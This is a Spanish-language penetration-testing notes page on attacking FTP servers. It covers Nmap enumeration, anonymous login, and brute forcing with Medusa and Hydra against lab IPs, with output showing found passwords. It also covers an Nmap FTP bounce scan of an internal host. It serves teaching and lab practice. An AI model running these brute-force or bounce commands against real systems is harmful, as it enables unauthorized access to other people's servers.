🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Introduction
  • Enumeration
  • Nmap
  • Misconfigurations
  • Anonymous Authentication
  • Attacking FTP
  • Brute Forcing
  • FTP Bounce Attack

¿Te fue útil?

Exportar como PDF
  1. NETWORK SERVICES PENTESTING

FTP Port (21)

Introduction

El Protocolo de Transferencia de Archivos (FTP) es un protocolo de red estándar utilizado para transferir archivos entre computadoras. También permite realizar operaciones sobre directorios y archivos, como cambiar el directorio de trabajo, listar archivos, renombrar o eliminar carpetas y archivos. Por defecto, FTP escucha en el puerto TCP/21.

Para atacar un servidor FTP, podemos abusar de una mala configuración, privilegios excesivos, vulnerabilidades conocidas o incluso descubrir nuevas vulnerabilidades. Por eso, una vez que tengamos acceso al servicio FTP, debemos revisar el contenido de los directorios y buscar información sensible o crítica, como ya vimos antes.

El protocolo está diseñado para permitir descargas y subidas mediante comandos, lo que permite la transferencia de archivos entre servidores y clientes. El usuario tiene acceso a un sistema de gestión de archivos proporcionado por el sistema operativo. Los archivos pueden almacenarse en carpetas, las cuales a su vez pueden estar dentro de otras carpetas, generando así una estructura jerárquica de directorios.

Muchas empresas utilizan este servicio como parte de sus procesos de desarrollo de software o sitios web.


Enumeration

Los scripts por defecto de Nmap (-sC) incluyen el script ftp-anon, que verifica si un servidor FTP permite inicios de sesión anónimos. La opción de enumeración de versiones -sV proporciona información interesante sobre los servicios FTP, como el banner del servicio, que a menudo incluye el nombre y la versión del servidor.

Podemos usar el cliente ftp o nc (netcat) para interactuar con el servicio FTP. Por defecto, FTP se ejecuta en el puerto TCP 21.

Nmap

gzzcoo@htb[/htb]$ sudo nmap -sCV -p21 192.168.2.142 

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 22:04 EDT
Nmap scan report for 192.168.2.142
Host is up (0.00054s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x   2 root     root         1024 Jan 14  2002 lib
| drwxr-sr-x   2 1170     924          1024 Aug  5  2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.

Misconfigurations

Como ya comentamos, la autenticación anónima puede estar configurada en distintos servicios como FTP. Para acceder con un inicio de sesión anónimo, simplemente se usa el usuario anonymous y sin necesidad de contraseña. Esto puede ser muy peligroso para la empresa si los permisos de lectura y escritura no están correctamente configurados en el servicio FTP.

Con un acceso anónimo mal configurado, la empresa podría haber dejado información sensible expuesta en carpetas accesibles, permitiendo que cualquier usuario pueda:

  • descargar archivos confidenciales, o incluso

  • subir scripts maliciosos

Si combinamos esto con vulnerabilidades como path traversal en una aplicación web, podríamos localizar el archivo subido y ejecutarlo como código, por ejemplo como PHP.


Anonymous Authentication

gzzcoo@htb[/htb]$ ftp 192.168.2.142    
                      
Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0               9 Aug 12 16:51 test.txt
226 Directory send OK.

Una vez que obtenemos acceso al servidor FTP con credenciales anónimas, podemos comenzar a buscar información interesante.

Comandos útiles:

  • ls y cd → para navegar por los directorios, igual que en Linux

  • get archivo.txt → descarga un archivo

  • mget * → descarga múltiples archivos

  • put archivo.txt → sube un archivo

  • mput * → sube varios archivos

Puedes usar el comando help dentro de la sesión FTP para ver más opciones disponibles.


Attacking FTP

Brute Forcing

Si no hay autenticación anónima disponible, también podemos realizar un ataque de fuerza bruta contra el servicio FTP usando listas de nombres de usuario y contraseñas predefinidas.

Brute Forcing with Medusa

Existen muchas herramientas para hacer fuerza bruta, pero vamos a ver una muy común: Medusa.

Con Medusa:

  • -u especifica un único usuario

  • -U es para un archivo con varios usuarios

  • -P indica un archivo con contraseñas

  • -M define el módulo o protocolo a atacar (en este caso, ftp)

  • -h es el host o IP del objetivo

Nota: aunque es posible encontrar servicios vulnerables a fuerza bruta, hoy en día la mayoría de aplicaciones implementan mecanismos de protección. Un método más efectivo suele ser el Password Spraying.

gzzcoo@htb[/htb]$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp 
                                                             
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>                                                      
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456789 (3 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]

Brute Forcing with Hydra

Con Hydra:

  • -l especifica un único usuario

  • -L es para un archivo con varios usuarios

  • -p indica una contraseña única

  • -P indica un archivo con contraseñas

  • ftp://10.129.42.197 es el host o IP del objetivo

gzzcoo@htb[/htb]$ hydra -L user.list -P password.list ftp://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many FTP configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.129.42.197:22/
[21][ftp] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found

FTP Bounce Attack

Un FTP bounce attack es un ataque de red que aprovecha servidores FTP para enviar tráfico saliente hacia otro dispositivo dentro de la red. El atacante utiliza el comando PORT para engañar la conexión FTP y hacer que ejecute comandos o recopile información desde un dispositivo diferente al servidor original.

Imaginemos que estamos atacando un servidor FTP llamado FTP_DMZ que está expuesto a internet. Dentro de la misma red, hay otro dispositivo llamado Internal_DMZ, que no está expuesto públicamente. Podemos usar la conexión al servidor FTP_DMZ para escanear Internal_DMZ mediante un ataque FTP Bounce y descubrir qué puertos tiene abiertos. Luego, podremos usar esa información para preparar futuros ataques contra la infraestructura.

La opción -b de Nmap permite realizar este tipo de ataque:

gzzcoo@htb[/htb]$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open http

<SNIP>

Aunque la mayoría de servidores FTP modernos tienen protecciones activas por defecto para evitar este tipo de ataque, si estas características están mal configuradas, el servidor podría quedar vulnerable a un FTP Bounce.

AnteriorPasswd, Shadow & OpasswdSiguienteSSH Port (22)

Última actualización hace 2 meses

¿Te fue útil?

Fuente:

https://www.geeksforgeeks.org/what-is-ftp-bounce-attack/